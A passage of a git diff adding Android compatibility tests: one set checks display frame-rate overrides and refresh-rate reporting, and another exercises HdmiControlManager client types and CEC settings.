+ || displayModeRefreshRate != mReportedDisplayModeRefreshRate) {
+ Log.i(TAG, String.format("Frame rate changed: (%.2f, %.2f) --> (%.2f, %.2f)",
+ mReportedDisplayModeRefreshRate,
+ mReportedDisplayRefreshRate,
+ displayModeRefreshRate,
+ refreshRate));
+ mReportedDisplayRefreshRate = refreshRate;
+ mReportedDisplayModeRefreshRate = displayModeRefreshRate;
+ mRefreshRateChangedEvents.add(refreshRate);
+ mLock.notify();
+ }
+ }
+ }
+
+ @Override
+ public void onDisplayRemoved(int displayId) {
+ }
+ };
+
+ private static class PreconditionViolatedException extends RuntimeException { }
+
+ private static class FrameRateTimeoutException extends RuntimeException {
+ FrameRateTimeoutException(float appRequestedFrameRate, float deviceRefreshRate) {
+ this.appRequestedFrameRate = appRequestedFrameRate;
+ this.deviceRefreshRate = deviceRefreshRate;
+ }
+
+ public float appRequestedFrameRate;
+ public float deviceRefreshRate;
+ }
+
+ public void postBufferToSurface(int color) {
+ mLastBufferPostTime = System.nanoTime();
+ Canvas canvas = mSurface.lockCanvas(null);
+ canvas.drawColor(color);
+ mSurface.unlockCanvasAndPost(canvas);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ synchronized (mLock) {
+ mDisplayManager = getSystemService(DisplayManager.class);
+ mReportedDisplayRefreshRate = getDisplay().getRefreshRate();
+ mReportedDisplayModeRefreshRate = getDisplay().getMode().getRefreshRate();
+ mDisplayManager.registerDisplayListener(mDisplayListener, mHandler);
+ mSurfaceView = new SurfaceView(this);
+ mSurfaceView.setWillNotDraw(false);
+ setContentView(mSurfaceView,
+ new ViewGroup.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT,
+ ViewGroup.LayoutParams.MATCH_PARENT));
+ mSurfaceView.getHolder().addCallback(mSurfaceHolderCallback);
+ }
+ }
+
+ @Override
+ protected void onDestroy() {
+ super.onDestroy();
+ mDisplayManager.unregisterDisplayListener(mDisplayListener);
+ synchronized (mLock) {
+ mLock.notify();
+ }
+ }
+
+ private static boolean frameRatesEqual(float frameRate1, float frameRate2) {
+ return Math.abs(frameRate1 - frameRate2) <= FRAME_RATE_TOLERANCE;
+ }
+
+ private static boolean frameRatesMatchesOverride(float frameRate1, float frameRate2) {
+ return Math.abs(frameRate1 - frameRate2) <= FPS_TOLERANCE_FOR_FRAME_RATE_OVERRIDE;
+ }
+
+ // Waits until our SurfaceHolder has a surface and the activity is resumed.
+ private void waitForPreconditions() throws InterruptedException {
+ assertTrue(
+ "Activity was unexpectedly destroyed", !isDestroyed());
+ if (mSurface == null || !isResumed()) {
+ Log.i(TAG, String.format(
+ "Waiting for preconditions. Have surface? %b. Activity resumed? %b.",
+ mSurface != null, isResumed()));
+ }
+ long nowNanos = System.nanoTime();
+ long endTimeNanos = nowNanos + PRECONDITION_WAIT_TIMEOUT_NANOSECONDS;
+ while (mSurface == null || !isResumed()) {
+ long timeRemainingMillis = (endTimeNanos - nowNanos) / 1_000_000;
+ assertTrue(String.format("Timed out waiting for preconditions. Have surface? %b."
+ + " Activity resumed? %b.",
+ mSurface != null, isResumed()),
+ timeRemainingMillis > 0);
+ mLock.wait(timeRemainingMillis);
+ assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+ nowNanos = System.nanoTime();
+ }
+ }
+
+ // Returns true if we encounter a precondition violation, false otherwise.
+ private boolean waitForPreconditionViolation() throws InterruptedException {
+ assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+ long nowNanos = System.nanoTime();
+ long endTimeNanos = nowNanos + PRECONDITION_VIOLATION_WAIT_TIMEOUT_NANOSECONDS;
+ while (mSurface != null && isResumed()) {
+ long timeRemainingMillis = (endTimeNanos - nowNanos) / 1_000_000;
+ if (timeRemainingMillis <= 0) {
+ break;
+ }
+ mLock.wait(timeRemainingMillis);
+ assertTrue("Activity was unexpectedly destroyed", !isDestroyed());
+ nowNanos = System.nanoTime();
+ }
+ return mSurface == null || !isResumed();
+ }
+
+ private void verifyPreconditions() {
+ if (mSurface == null || !isResumed()) {
+ throw new PreconditionViolatedException();
+ }
+ }
+
+ // Returns true if we reached waitUntilNanos, false if some other event occurred.
+ private boolean waitForEvents(long waitUntilNanos)
+ throws InterruptedException {
+ mRefreshRateChangedEvents.clear();
+ long nowNanos = System.nanoTime();
+ while (nowNanos < waitUntilNanos) {
+ long surfacePostTime = mLastBufferPostTime + POST_BUFFER_INTERVAL_NANOSECONDS;
+ long timeoutNs = Math.min(waitUntilNanos, surfacePostTime) - nowNanos;
+ long timeoutMs = timeoutNs / 1_000_000L;
+ int remainderNs = (int) (timeoutNs % 1_000_000L);
+ // Don't call wait(0, 0) - it blocks indefinitely.
+ if (timeoutMs > 0 || remainderNs > 0) {
+ mLock.wait(timeoutMs, remainderNs);
+ }
+ nowNanos = System.nanoTime();
+ verifyPreconditions();
+ if (!mRefreshRateChangedEvents.isEmpty()) {
+ return false;
+ }
+ if (nowNanos >= surfacePostTime) {
+ postBufferToSurface(Color.RED);
+ }
+ }
+ return true;
+ }
+
+ private void waitForRefreshRateChange(float expectedRefreshRate) throws InterruptedException {
+ Log.i(TAG, "Waiting for the refresh rate to change");
+ long nowNanos = System.nanoTime();
+ long gracePeriodEndTimeNanos =
+ nowNanos + FRAME_RATE_SWITCH_GRACE_PERIOD_NANOSECONDS;
+ while (true) {
+ // Wait until we switch to the expected refresh rate
+ while (!frameRatesEqual(mReportedDisplayRefreshRate, expectedRefreshRate)
+ && !waitForEvents(gracePeriodEndTimeNanos)) {
+ // Empty
+ }
+ nowNanos = System.nanoTime();
+ if (nowNanos >= gracePeriodEndTimeNanos) {
+ throw new FrameRateTimeoutException(expectedRefreshRate,
+ mReportedDisplayRefreshRate);
+ }
+
+ // We've switched to a compatible frame rate. Now wait for a while to see if we stay at
+ // that frame rate.
+ long endTimeNanos = nowNanos + STABLE_FRAME_RATE_WAIT_NANOSECONDS;
+ while (endTimeNanos > nowNanos) {
+ if (waitForEvents(endTimeNanos)) {
+ Log.i(TAG, String.format("Stable frame rate %.2f verified",
+ mReportedDisplayRefreshRate));
+ return;
+ }
+ nowNanos = System.nanoTime();
+ if (!mRefreshRateChangedEvents.isEmpty()) {
+ break;
+ }
+ }
+ }
+ }
+
+ interface FrameRateObserver {
+ void observe(float initialRefreshRate, float expectedFrameRate, String condition)
+ throws InterruptedException;
+ }
+
+ class BackpressureFrameRateObserver implements FrameRateObserver {
+ @Override
+ public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+ long startTime = System.nanoTime();
+ int totalBuffers = 0;
+ float fps = 0;
+ while (System.nanoTime() - startTime <= FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS) {
+ postBufferToSurface(Color.BLACK + totalBuffers);
+ totalBuffers++;
+ if (System.nanoTime() - startTime >= FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS) {
+ float testDuration = (System.nanoTime() - startTime) / 1e9f;
+ fps = totalBuffers / testDuration;
+ if (frameRatesMatchesOverride(fps, expectedFrameRate)) {
+ Log.i(TAG,
+ String.format("%s: backpressure observed refresh rate %.2f",
+ condition,
+ fps));
+ return;
+ }
+ }
+ }
+
+ assertTrue(String.format(
+ "%s: backpressure observed refresh rate doesn't match the current refresh "
+ + "rate. "
+ + "expected: %.2f observed: %.2f", condition, expectedFrameRate, fps),
+ frameRatesMatchesOverride(fps, expectedFrameRate));
+ }
+ }
+
+ class ChoreographerFrameRateObserver implements FrameRateObserver {
+ class ChoreographerThread extends Thread implements Choreographer.FrameCallback {
+ Choreographer mChoreographer;
+ long mStartTime;
+ public Handler mHandler;
+ Looper mLooper;
+ int mTotalCallbacks = 0;
+ long mEndTime;
+ float mExpectedRefreshRate;
+ String mCondition;
+
+ ChoreographerThread(float expectedRefreshRate, String condition)
+ throws InterruptedException {
+ mExpectedRefreshRate = expectedRefreshRate;
+ mCondition = condition;
+ }
+
+ @Override
+ public void run() {
+ Looper.prepare();
+ mChoreographer = Choreographer.getInstance();
+ mHandler = new Handler();
+ mLooper = Looper.myLooper();
+ mStartTime = System.nanoTime();
+ mChoreographer.postFrameCallback(this);
+ Looper.loop();
+ }
+
+ @Override
+ public void doFrame(long frameTimeNanos) {
+ mTotalCallbacks++;
+ mEndTime = System.nanoTime();
+ if (mEndTime - mStartTime <= FRAME_RATE_MIN_WAIT_TIME_NANOSECONDS) {
+ mChoreographer.postFrameCallback(this);
+ return;
+ } else if (frameRatesMatchesOverride(mExpectedRefreshRate, getFps())
+ || mEndTime - mStartTime > FRAME_RATE_MAX_WAIT_TIME_NANOSECONDS) {
+ mLooper.quitSafely();
+ return;
+ }
+ mChoreographer.postFrameCallback(this);
+ }
+
+ public void verifyFrameRate() throws InterruptedException {
+ float fps = getFps();
+ Log.i(TAG,
+ String.format("%s: choreographer observed refresh rate %.2f",
+ mCondition,
+ fps));
+ assertTrue(String.format(
+ "%s: choreographer observed refresh rate doesn't match the current "
+ + "refresh rate. expected: %.2f observed: %.2f",
+ mCondition, mExpectedRefreshRate, fps),
+ frameRatesMatchesOverride(mExpectedRefreshRate, fps));
+ }
+
+ private float getFps() {
+ return mTotalCallbacks / ((mEndTime - mStartTime) / 1e9f);
+ }
+ }
+
+ @Override
+ public void observe(float initialRefreshRate, float expectedFrameRate, String condition)
+ throws InterruptedException {
+ ChoreographerThread thread = new ChoreographerThread(expectedFrameRate, condition);
+ thread.start();
+ thread.join();
+ thread.verifyFrameRate();
+ }
+ }
+
+ class DisplayGetRefreshRateFrameRateObserver implements FrameRateObserver {
+ @Override
+ public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+ Log.i(TAG,
+ String.format("%s: Display.getRefreshRate() returned refresh rate %.2f",
+ condition, mReportedDisplayRefreshRate));
+ assertTrue(String.format("%s: Display.getRefreshRate() doesn't match the "
+ + "current refresh. expected: %.2f observed: %.2f", condition,
+ expectedFrameRate, mReportedDisplayRefreshRate),
+ frameRatesMatchesOverride(mReportedDisplayRefreshRate, expectedFrameRate));
+ }
+ }
+
+ class DisplayModeGetRefreshRateFrameRateObserver implements FrameRateObserver {
+ private final boolean mDisplayModeReturnsPhysicalRefreshRateEnabled;
+
+ DisplayModeGetRefreshRateFrameRateObserver(
+ boolean displayModeReturnsPhysicalRefreshRateEnabled) {
+ mDisplayModeReturnsPhysicalRefreshRateEnabled =
+ displayModeReturnsPhysicalRefreshRateEnabled;
+ }
+
+ @Override
+ public void observe(float initialRefreshRate, float expectedFrameRate, String condition) {
+ float expectedDisplayModeRefreshRate =
+ mDisplayModeReturnsPhysicalRefreshRateEnabled ? initialRefreshRate
+ : expectedFrameRate;
+ Log.i(TAG,
+ String.format(
+ "%s: Display.getMode().getRefreshRate() returned refresh rate %.2f",
+ condition, mReportedDisplayModeRefreshRate));
+ assertTrue(String.format("%s: Display.getMode().getRefreshRate() doesn't match the "
+ + "current refresh. expected: %.2f observed: %.2f", condition,
+ expectedDisplayModeRefreshRate, mReportedDisplayModeRefreshRate),
+ frameRatesMatchesOverride(mReportedDisplayModeRefreshRate,
+ expectedDisplayModeRefreshRate));
+ }
+ }
+
+ private void testFrameRateOverrideBehavior(FrameRateObserver frameRateObserver,
+ float initialRefreshRate) throws InterruptedException {
+ Log.i(TAG, "Staring testFrameRateOverride");
+ float halfFrameRate = initialRefreshRate / 2;
+
+ waitForRefreshRateChange(initialRefreshRate);
+ frameRateObserver.observe(initialRefreshRate, initialRefreshRate, "Initial");
+
+ Log.i(TAG, String.format("Setting Frame Rate to %.2f with default compatibility",
+ halfFrameRate));
+ mSurface.setFrameRate(halfFrameRate, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT, true);
+ waitForRefreshRateChange(halfFrameRate);
+ frameRateObserver.observe(initialRefreshRate, halfFrameRate, "setFrameRate(default)");
+
+ Log.i(TAG, String.format("Setting Frame Rate to %.2f with fixed source compatibility",
+ halfFrameRate));
+ mSurface.setFrameRate(halfFrameRate, Surface.FRAME_RATE_COMPATIBILITY_FIXED_SOURCE, true);
+ waitForRefreshRateChange(halfFrameRate);
+ frameRateObserver.observe(initialRefreshRate, halfFrameRate, "setFrameRate(fixed source)");
+
+ Log.i(TAG, "Resetting Frame Rate setting");
+ mSurface.setFrameRate(0, Surface.FRAME_RATE_COMPATIBILITY_DEFAULT, true);
+ waitForRefreshRateChange(initialRefreshRate);
+ frameRateObserver.observe(initialRefreshRate, initialRefreshRate, "Reset");
+ }
+
+ // The activity being intermittently paused/resumed has been observed to
+ // cause test failures in practice, so we run the test with retry logic.
+ public void testFrameRateOverride(FrameRateObserver frameRateObserver, float initialRefreshRate)
+ throws InterruptedException {
+ synchronized (mLock) {
+ Log.i(TAG, "testFrameRateOverride started");
+ int attempts = 0;
+ boolean testPassed = false;
+ try {
+ while (!testPassed) {
+ waitForPreconditions();
+ try {
+ testFrameRateOverrideBehavior(frameRateObserver, initialRefreshRate);
+ testPassed = true;
+ } catch (PreconditionViolatedException exc) {
+ // The logic below will retry if we're below max attempts.
+ } catch (FrameRateTimeoutException exc) {
+ // Sometimes we get a test timeout failure before we get the
+ // notification that the activity was paused, and it was the pause that
+ // caused the timeout failure. Wait for a bit to see if we get notified
+ // of a precondition violation, and if so, retry the test. Otherwise
+ // fail.
+ assertTrue(
+ String.format(
+ "Timed out waiting for a stable and compatible frame"
+ + " rate. requested=%.2f received=%.2f.",
+ exc.appRequestedFrameRate, exc.deviceRefreshRate),
+ waitForPreconditionViolation());
+ }
+
+ if (!testPassed) {
+ Log.i(TAG,
+ String.format("Preconditions violated while running the test."
+ + " Have surface? %b. Activity resumed? %b.",
+ mSurface != null,
+ isResumed()));
+ attempts++;
+ assertTrue(String.format(
+ "Exceeded %d precondition wait attempts. Giving up.",
+ PRECONDITION_WAIT_MAX_ATTEMPTS),
+ attempts < PRECONDITION_WAIT_MAX_ATTEMPTS);
+ }
+ }
+ } finally {
+ String passFailMessage = String.format(
+ "%s", testPassed ? "Passed" : "Failed");
+ if (testPassed) {
+ Log.i(TAG, passFailMessage);
+ } else {
+ Log.e(TAG, passFailMessage);
+ }
+ }
+
+ }
+ }
+}
diff --git a/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java b/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java
new file mode 100644
index 0000000..12162d9
--- /dev/null
+++ b/hostsidetests/graphics/framerateoverride/src/com/android/cts/graphics/framerateoverride/FrameRateOverrideHostTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.graphics.framerateoverride;
+
+import android.compat.cts.CompatChangeGatingTestCase;
+import android.view.Display;
+
+import com.google.common.collect.ImmutableSet;
+
+/**
+ * Tests for frame rate override and the behavior of {@link Display#getRefreshRate()} and
+ * {@link Display.Mode#getRefreshRate()} Api.
+ */
+public class FrameRateOverrideHostTest extends CompatChangeGatingTestCase {
+
+ protected static final String TEST_APK = "CtsHostsideFrameRateOverrideTestsApp.apk";
+ protected static final String TEST_PKG = "com.android.cts.graphics.framerateoverride";
+
+ // See b/170503758 for more details
+ private static final long DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID = 170503758;
+
+ @Override
+ protected void setUp() throws Exception {
+ installPackage(TEST_APK, true);
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ uninstallPackage(TEST_PKG, true);
+ }
+
+ public void testBackpressureDisplayModeReturnsPhysicalRefreshRateEnabled()
+ throws Exception {
+ runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+ "testBackpressure",
+ /*enabledChanges*/
+ ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+ /*disabledChanges*/
+ ImmutableSet.of());
+ }
+
+ public void testBackpressureDisplayModeReturnsPhysicalRefreshRateDisabled()
+ throws Exception {
+ runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+ "testBackpressure",
+ /*enabledChanges*/
+ ImmutableSet.of(),
+ /*disabledChanges*/
+ ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+ }
+
+ public void testChoreographerDisplayModeReturnsPhysicalRefreshRateEnabled()
+ throws Exception {
+ runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+ "testChoreographer",
+ /*enabledChanges*/
+ ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+ /*disabledChanges*/
+ ImmutableSet.of());
+ }
+
+ public void testChoreographerDisplayModeReturnsPhysicalRefreshRateDisabled()
+ throws Exception {
+ runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+ "testChoreographer",
+ /*enabledChanges*/
+ ImmutableSet.of(),
+ /*disabledChanges*/
+ ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+ }
+
+ public void testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+ throws Exception {
+ runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+ "testDisplayGetRefreshRate",
+ /*enabledChanges*/
+ ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+ /*disabledChanges*/
+ ImmutableSet.of());
+ }
+
+ public void testDisplayGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+ throws Exception {
+ runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+ "testDisplayGetRefreshRate",
+ /*enabledChanges*/
+ ImmutableSet.of(),
+ /*disabledChanges*/
+ ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+ }
+
+ public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled()
+ throws Exception {
+ runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+ "testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateEnabled",
+ /*enabledChanges*/
+ ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID),
+ /*disabledChanges*/
+ ImmutableSet.of());
+ }
+
+ public void testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled()
+ throws Exception {
+ runDeviceCompatTest(TEST_PKG, ".FrameRateOverrideTest",
+ "testDisplayModeGetRefreshRateDisplayModeReturnsPhysicalRefreshRateDisabled",
+ /*enabledChanges*/
+ ImmutableSet.of(),
+ /*disabledChanges*/
+ ImmutableSet.of(DISPLAY_MODE_RETURNS_PHYSICAL_REFRESH_RATE_CHANGEID));
+ }
+}
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 2ac24a3..d7e7045 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -19,9 +19,12 @@
certificate: "platform",
srcs: ["src/**/*.java"],
static_libs: [
- "services.core",
- "guava",
"androidx.test.runner",
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "guava",
+ "services.core",
+ "truth-prebuilt",
],
min_sdk_version: "28",
}
diff --git a/hostsidetests/hdmicec/app/AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
index 90403e5..c441f85 100644
--- a/hostsidetests/hdmicec/app/AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -44,8 +44,14 @@
<action android:name="android.hdmicec.app.OTP" />
</intent-filter>
</activity>
+
+ <uses-library android:name="android.test.runner" />
</application>
+
+ <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.hdmicec.app" />
+
<uses-sdk android:minSdkVersion="28" android:targetSdkVersion="28" />
</manifest>
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java
new file mode 100644
index 0000000..b335c5d
--- /dev/null
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java
@@ -0,0 +1,285 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.app;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.hardware.hdmi.HdmiControlManager;
+import android.hardware.hdmi.HdmiDeviceInfo;
+import android.hardware.hdmi.HdmiPlaybackClient;
+import android.hardware.hdmi.HdmiSwitchClient;
+import android.hardware.hdmi.HdmiTvClient;
+import android.os.SystemProperties;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Class to test basic functionality and API of HdmiControlManager
+ */
+@RunWith(AndroidJUnit4.class)
+public class HdmiControlManagerTest {
+
+ private static final int DEVICE_TYPE_SWITCH = 6;
+
+ private static final int TIMEOUT_CONTENT_CHANGE_SEC = 3;
+
+ private HdmiControlManager mHdmiControlManager;
+
+ @Before
+ public void setUp() throws Exception {
+ getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+ Manifest.permission.HDMI_CEC);
+
+ mHdmiControlManager = getInstrumentation().getTargetContext().getSystemService(
+ HdmiControlManager.class);
+ }
+
+ @After
+ public void tearDown() throws Exception {
+ getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+ }
+
+
+ @Test
+ public void testHdmiControlManager() {
+ if (mHdmiControlManager == null) {
+ throw new AssertionError("Unable to get HdmiControlManager");
+ }
+ }
+
+ @Test
+ public void testGetHdmiClient() throws Exception {
+ String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+ if (deviceTypesValue.isEmpty()) {
+ deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+ }
+
+ List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+ if (deviceTypes.contains("0")) {
+ assertThat(mHdmiControlManager.getTvClient()).isInstanceOf(HdmiTvClient.class);
+ assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_TV)).isInstanceOf(
+ HdmiTvClient.class);
+ }
+ if (deviceTypes.contains("4")) {
+ assertThat(mHdmiControlManager.getPlaybackClient()).isInstanceOf(
+ HdmiPlaybackClient.class);
+ assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_PLAYBACK)).isInstanceOf(
+ HdmiPlaybackClient.class);
+ }
+ if (deviceTypes.contains("5")) {
+ assertThat(
+ mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_AUDIO_SYSTEM)).isNotNull();
+ }
+
+ boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+ false);
+ if (deviceTypes.contains("6") || isSwitchDevice) {
+ assertThat(mHdmiControlManager.getSwitchClient()).isInstanceOf(HdmiSwitchClient.class);
+ assertThat(mHdmiControlManager.getClient(6)).isInstanceOf(HdmiSwitchClient.class);
+ }
+ }
+
+ @Test
+ public void testHdmiClientType() throws Exception {
+ String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+ if (deviceTypesValue.isEmpty()) {
+ deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+ }
+
+ List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+ if (deviceTypes.contains("0")) {
+ assertThat(mHdmiControlManager.getTvClient().getDeviceType()).isEqualTo(
+ HdmiDeviceInfo.DEVICE_TV);
+ }
+ if (deviceTypes.contains("4")) {
+ assertThat(mHdmiControlManager.getPlaybackClient().getDeviceType()).isEqualTo(
+ HdmiDeviceInfo.DEVICE_PLAYBACK);
+ }
+
+ boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+ false);
+
+ if (deviceTypes.contains(String.valueOf(DEVICE_TYPE_SWITCH)) || isSwitchDevice) {
+ assertThat(mHdmiControlManager.getSwitchClient().getDeviceType()).isEqualTo(
+ DEVICE_TYPE_SWITCH);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_HdmiCecEnabled() throws Exception {
+ // Save original value
+ int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+ return;
+ }
+ try {
+ for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+ mHdmiControlManager.setHdmiCecEnabled(value);
+ assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setHdmiCecEnabled(originalValue);
+ assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_HdmiCecEnabled_Listener() throws Exception {
+ // Save original value
+ int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+ assumeTrue("Skipping because option not user-modifiable",
+ mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED));
+ CountDownLatch notifyLatch1 = new CountDownLatch(1);
+ CountDownLatch notifyLatch2 = new CountDownLatch(2);
+ HdmiControlManager.CecSettingChangeListener listener =
+ new HdmiControlManager.CecSettingChangeListener() {
+ @Override
+ public void onChange(String setting) {
+ notifyLatch1.countDown();
+ notifyLatch2.countDown();
+ assertThat(setting).isEqualTo(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED);
+ }
+ };
+ try {
+ mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+ mHdmiControlManager.addHdmiCecEnabledChangeListener(listener);
+ mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_ENABLED);
+ if (!notifyLatch1.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS)) {
+ fail("Timed out waiting for the notify callback");
+ }
+ mHdmiControlManager.removeHdmiCecEnabledChangeListener(listener);
+ mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+ notifyLatch2.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS);
+ assertThat(notifyLatch2.getCount()).isEqualTo(1);
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setHdmiCecEnabled(originalValue);
+ assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_HdmiCecVersion() throws Exception {
+ // Save original value
+ int originalValue = mHdmiControlManager.getHdmiCecVersion();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+ return;
+ }
+ try {
+ for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+ HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+ mHdmiControlManager.setHdmiCecVersion(value);
+ assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setHdmiCecVersion(originalValue);
+ assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_PowerControlMode() throws Exception {
+ // Save original value
+ String originalValue = mHdmiControlManager.getPowerControlMode();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
+ HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+ return;
+ }
+ try {
+ for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+ HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+ mHdmiControlManager.setPowerControlMode(value);
+ assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(value);
+ }
+ } finally {
+ // Restore original value
+ mHdmiControlManager.setPowerControlMode(originalValue);
+ assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(originalValue);
+ }
+ }
+
+ @Test
+ public void testHdmiCecConfig_PowerStateChangeOnActiveSourceLost() throws Exception {
+ // Save original value
+ String originalValue = mHdmiControlManager.getPowerStateChangeOnActiveSourceLost();
+ if (!mHdmiControlManager.getUserCecSettings().contains(
